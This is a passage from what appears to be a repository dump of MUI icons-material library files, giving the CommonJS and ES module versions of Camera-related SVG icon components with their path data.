    "path": "packages/mui-icons-material/lib/CameraOutdoorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1l2 1.06v-4.12L18 14zM12 3 4 9v12h16v-2H6v-9l6-4.5 6 4.5v1h2V9z\"\n}), 'CameraOutdoorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraOutdoorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1l1.27.67c.33.18.73-.06.73-.44v-2.46c0-.38-.4-.62-.73-.44L18 14zm-7.2-9.1-6 4.5c-.5.38-.8.97-.8 1.6v9c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H6v-9l6-4.5 6 4.5v1h2v-1c0-.63-.3-1.22-.8-1.6l-6-4.5c-.71-.53-1.69-.53-2.4 0\"\n}), 'CameraOutdoorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraOutdoorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1l1.27.67c.33.18.73-.06.73-.44v-2.46c0-.38-.4-.62-.73-.44L18 14zm-7.2-9.1-6 4.5c-.5.38-.8.97-.8 1.6v9c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H6v-9l6-4.5 6 4.5v1h2v-1c0-.63-.3-1.22-.8-1.6l-6-4.5c-.71-.53-1.69-.53-2.4 0\"\n}), 'CameraOutdoorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraOutdoorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 14v-2h-6v6h6v-2l2 1.06v-4.12zM12 3 4 9v12h16v-2H6v-9l6-4.5 6 4.5v1h2V9z\"\n}), 'CameraOutdoorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraOutdoorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 14v-2h-6v6h6v-2l2 1.06v-4.12zM12 3 4 9v12h16v-2H6v-9l6-4.5 6 4.5v1h2V9z\"\n}), 'CameraOutdoorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraOutdoorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1l2 1.06v-4.12L18 14zM12 3 4 9v12h16v-2H6v-9l6-4.5 6 4.5v1h2V9z\"\n}), 'CameraOutdoorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraOutdoorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1l2 1.06v-4.12L18 14zM12 3 4 9v12h16v-2H6v-9l6-4.5 6 4.5v1h2V9z\"\n}), 'CameraOutdoorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.25 2.26-.08-.04-.01.02C13.46 2.09 12.74 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-4.75-3.31-8.72-7.75-9.74M19.41 9h-7.99l2.71-4.7c2.4.66 4.35 2.42 5.28 4.7M13.1 4.08 10.27 9l-1.15 2L6.4 6.3C7.84 4.88 9.82 4 12 4c.37 0 .74.03 1.1.08M5.7 7.09 8.54 12l1.15 2H4.26C4.1 13.36 4 12.69 4 12c0-1.85.64-3.55 1.7-4.91M4.59 15h7.98l-2.71 4.7c-2.4-.67-4.34-2.42-5.27-4.7m6.31 4.91L14.89 13l2.72 4.7C16.16 19.12 14.18 20 12 20c-.38 0-.74-.04-1.1-.09m7.4-3-4-6.91h5.43c.17.64.27 1.31.27 2 0 1.85-.64 3.55-1.7 4.91\"\n}), 'CameraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.25 2.26-.08-.04-.01.02C13.46 2.09 12.74 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-4.75-3.31-8.72-7.75-9.74M19.41 9h-7.99l2.71-4.7c2.4.66 4.35 2.42 5.28 4.7M13.1 4.08 10.27 9l-1.15 2L6.4 6.3C7.84 4.88 9.82 4 12 4c.37 0 .74.03 1.1.08M5.7 7.09 8.54 12l1.15 2H4.26C4.1 13.36 4 12.69 4 12c0-1.85.64-3.55 1.7-4.91M4.59 15h7.98l-2.71 4.7c-2.4-.67-4.34-2.42-5.27-4.7m6.31 4.91L14.89 13l2.72 4.7C16.16 19.12 14.18 20 12 20c-.38 0-.74-.04-1.1-.09m7.4-3-4-6.91h5.43c.17.64.27 1.31.27 2 0 1.85-.64 3.55-1.7 4.91\"\n}), 'CameraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRear.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 20H5v2h5v2l3-3-3-3zm4 0v2h5v-2zm3-20H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2m-5 6c-1.11 0-2-.9-2-2s.89-2 1.99-2 2 .9 2 2C14 5.1 13.1 6 12 6\"\n}), 'CameraRear');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRear.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 20H5v2h5v2l3-3-3-3zm4 0v2h5v-2zm3-20H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2m-5 6c-1.11 0-2-.9-2-2s.89-2 1.99-2 2 .9 2 2C14 5.1 13.1 6 12 6\"\n}), 'CameraRear');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRearOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 20v2h5v2l3-3-3-3v2zm9 0h5v2h-5zm3-20H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2m0 16H7V2h10zm-5-9c1.1 0 2-.9 1.99-2 0-1.1-.9-2-2-2S10 3.9 10 5s.89 2 2 2\"\n}), 'CameraRearOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRearOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 20v2h5v2l3-3-3-3v2zm9 0h5v2h-5zm3-20H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2m0 16H7V2h10zm-5-9c1.1 0 2-.9 1.99-2 0-1.1-.9-2-2-2S10 3.9 10 5s.89 2 2 2\"\n}), 'CameraRearOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRearRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.85 18.85c-.31-.31-.85-.09-.85.36V20H6c-.55 0-1 .45-1 1s.45 1 1 1h4v.79c0 .45.54.67.85.35l1.79-1.79c.2-.2.2-.51 0-.71zM18 20h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1M17 0H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2m-5 6c-1.11 0-2-.9-2-2s.89-2 1.99-2 2 .9 2 2C14 5.1 13.1 6 12 6\"\n}), 'CameraRearRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRearRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.85 18.85c-.31-.31-.85-.09-.85.36V20H6c-.55 0-1 .45-1 1s.45 1 1 1h4v.79c0 .45.54.67.85.35l1.79-1.79c.2-.2.2-.51 0-.71zM18 20h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1M17 0H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2m-5 6c-1.11 0-2-.9-2-2s.89-2 1.99-2 2 .9 2 2C14 5.1 13.1 6 12 6\"\n}), 'CameraRearRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRearSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 20H5v2h5v2l3-3-3-3zm4 0v2h5v-2zm5-20H5v18h14zm-7 6c-1.11 0-2-.9-2-2s.89-2 1.99-2 2 .9 2 2C14 5.1 13.1 6 12 6\"\n}), 'CameraRearSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRearSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 20H5v2h5v2l3-3-3-3zm4 0v2h5v-2zm5-20H5v18h14zm-7 6c-1.11 0-2-.9-2-2s.89-2 1.99-2 2 .9 2 2C14 5.1 13.1 6 12 6\"\n}), 'CameraRearSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRearTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 16h10V2H7zm4.99-13c1.1 0 2 .9 2 2C14 6.1 13.1 7 12 7c-1.11 0-2-.9-2-2s.89-2 1.99-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 20v2h5v2l3-3-3-3v2zm9 0h5v2h-5zm5-18c0-1.1-.9-2-2-2H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zm-2 14H7V2h10zm-5-9c1.1 0 2-.9 1.99-2 0-1.1-.9-2-2-2S10 3.9 10 5s.89 2 2 2\"\n}, \"1\")], 'CameraRearTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRearTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 16h10V2H7zm4.99-13c1.1 0 2 .9 2 2C14 6.1 13.1 7 12 7c-1.11 0-2-.9-2-2s.89-2 1.99-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 20v2h5v2l3-3-3-3v2zm9 0h5v2h-5zm5-18c0-1.1-.9-2-2-2H7C5.9 0 5 .9 5 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zm-2 14H7V2h10zm-5-9c1.1 0 2-.9 1.99-2 0-1.1-.9-2-2-2S10 3.9 10 5s.89 2 2 2\"\n}, \"1\")], 'CameraRearTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRoll.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 5c0-1.1-.9-2-2-2h-1V2c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v15c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2h8V5zm-2 13h-2v-2h2zm0-9h-2V7h2zm4 9h-2v-2h2zm0-9h-2V7h2zm4 9h-2v-2h2zm0-9h-2V7h2z\"\n}), 'CameraRoll');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRoll.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 5c0-1.1-.9-2-2-2h-1V2c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v15c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2h8V5zm-2 13h-2v-2h2zm0-9h-2V7h2zm4 9h-2v-2h2zm0-9h-2V7h2zm4 9h-2v-2h2zm0-9h-2V7h2z\"\n}), 'CameraRoll');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRollOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 5c0-1.1-.9-2-2-2h-1V2c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v15c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2h8V5zm6 13h-8v2H4V5h3V3h2v2h3v2h8zM9 15h2v2H9zm0-7h2v2H9zm4 7h2v2h-2zm0-7h2v2h-2zm4 7h2v2h-2zm0-7h2v2h-2z\"\n}), 'CameraRollOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRollOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 5c0-1.1-.9-2-2-2h-1V2c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v15c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2h8V5zm6 13h-8v2H4V5h3V3h2v2h3v2h8zM9 15h2v2H9zm0-7h2v2H9zm4 7h2v2h-2zm0-7h2v2h-2zm4 7h2v2h-2zm0-7h2v2h-2z\"\n}), 'CameraRollOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRollRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 5c0-1.1-.9-2-2-2h-1V2c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v15c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2h6c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm-2 13h-2v-2h2zm0-9h-2V7h2zm4 9h-2v-2h2zm0-9h-2V7h2zm4 9h-2v-2h2zm0-9h-2V7h2z\"\n}), 'CameraRollRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRollRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 5c0-1.1-.9-2-2-2h-1V2c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v15c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2h6c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm-2 13h-2v-2h2zm0-9h-2V7h2zm4 9h-2v-2h2zm0-9h-2V7h2zm4 9h-2v-2h2zm0-9h-2V7h2z\"\n}), 'CameraRollRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRollSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 5V3h-3V1H5v2H2v19h12v-2h8V5zm-2 13h-2v-2h2zm0-9h-2V7h2zm4 9h-2v-2h2zm0-9h-2V7h2zm4 9h-2v-2h2zm0-9h-2V7h2z\"\n}), 'CameraRollSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRollSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 5V3h-3V1H5v2H2v19h12v-2h8V5zm-2 13h-2v-2h2zm0-9h-2V7h2zm4 9h-2v-2h2zm0-9h-2V7h2zm4 9h-2v-2h2zm0-9h-2V7h2z\"\n}), 'CameraRollSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRollTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5H9V3H7v2H4v15h8v-2h8V7h-8zm-1 12H9v-2h2zm0-7H9V8h2zm6-2h2v2h-2zm0 7h2v2h-2zm-4-7h2v2h-2zm0 7h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 5c0-1.1-.9-2-2-2h-1V2c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v15c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2h8V5zm6 13h-8v2H4V5h3V3h2v2h3v2h8zM9 15h2v2H9zm0-7h2v2H9zm4 7h2v2h-2zm0-7h2v2h-2zm4 7h2v2h-2zm0-7h2v2h-2z\"\n}, \"1\")], 'CameraRollTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRollTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5H9V3H7v2H4v15h8v-2h8V7h-8zm-1 12H9v-2h2zm0-7H9V8h2zm6-2h2v2h-2zm0 7h2v2h-2zm-4-7h2v2h-2zm0 7h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 5c0-1.1-.9-2-2-2h-1V2c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v15c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2h8V5zm6 13h-8v2H4V5h3V3h2v2h3v2h8zM9 15h2v2H9zm0-7h2v2H9zm4 7h2v2h-2zm0-7h2v2h-2zm4 7h2v2h-2zm0-7h2v2h-2z\"\n}, \"1\")], 'CameraRollTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.81 2.86c.17-.3 0-.7-.35-.74-2.62-.37-5.3.28-7.44 1.86-.19.15-.25.43-.12.65l3.01 5.22c.19.33.67.33.87 0zm7.49 5.47c-.98-2.47-2.92-4.46-5.35-5.5-.23-.1-.5 0-.63.22l-3.01 5.21c-.19.32.05.74.44.74h8.08c.35 0 .6-.35.47-.67m.07 1.67h-6.2c-.38 0-.63.42-.43.75L19 18.14c.17.3.6.35.82.08 1.74-2.18 2.48-5.03 2.05-7.79-.03-.25-.25-.43-.5-.43M4.18 5.79c-1.73 2.19-2.48 5.02-2.05 7.79.03.24.25.42.5.42h6.2c.38 0 .63-.42.43-.75L5 5.87c-.18-.3-.61-.35-.82-.08M2.7 15.67c.98 2.47 2.92 4.46 5.35 5.5.23.1.5 0 .63-.22l3.01-5.21c.19-.33-.05-.75-.43-.75H3.17c-.35.01-.6.36-.47.68m7.83 6.22c2.62.37 5.3-.28 7.44-1.86.2-.15.26-.44.13-.66l-3.01-5.22c-.19-.33-.67-.33-.87 0l-4.04 6.99c-.17.3.01.7.35.75\"\n}), 'CameraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.81 2.86c.17-.3 0-.7-.35-.74-2.62-.37-5.3.28-7.44 1.86-.19.15-.25.43-.12.65l3.01 5.22c.19.33.67.33.87 0zm7.49 5.47c-.98-2.47-2.92-4.46-5.35-5.5-.23-.1-.5 0-.63.22l-3.01 5.21c-.19.32.05.74.44.74h8.08c.35 0 .6-.35.47-.67m.07 1.67h-6.2c-.38 0-.63.42-.43.75L19 18.14c.17.3.6.35.82.08 1.74-2.18 2.48-5.03 2.05-7.79-.03-.25-.25-.43-.5-.43M4.18 5.79c-1.73 2.19-2.48 5.02-2.05 7.79.03.24.25.42.5.42h6.2c.38 0 .63-.42.43-.75L5 5.87c-.18-.3-.61-.35-.82-.08M2.7 15.67c.98 2.47 2.92 4.46 5.35 5.5.23.1.5 0 .63-.22l3.01-5.21c.19-.33-.05-.75-.43-.75H3.17c-.35.01-.6.36-.47.68m7.83 6.22c2.62.37 5.3-.28 7.44-1.86.2-.15.26-.44.13-.66l-3.01-5.22c-.19-.33-.67-.33-.87 0l-4.04 6.99c-.17.3.01.7.35.75\"\n}), 'CameraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.4 10.5 4.77-8.26C13.47 2.09 12.75 2 12 2c-2.4 0-4.6.85-6.32 2.25l3.66 6.35zM21.54 9c-.92-2.92-3.15-5.26-6-6.34L11.88 9zm.26 1h-7.49l.29.5 4.76 8.25C21 16.97 22 14.61 22 12c0-.69-.07-1.35-.2-2M8.54 12l-3.9-6.75C3.01 7.03 2 9.39 2 12c0 .69.07 1.35.2 2h7.49zm-6.08 3c.92 2.92 3.15 5.26 6 6.34L12.12 15zm11.27 0-3.9 6.76c.7.15 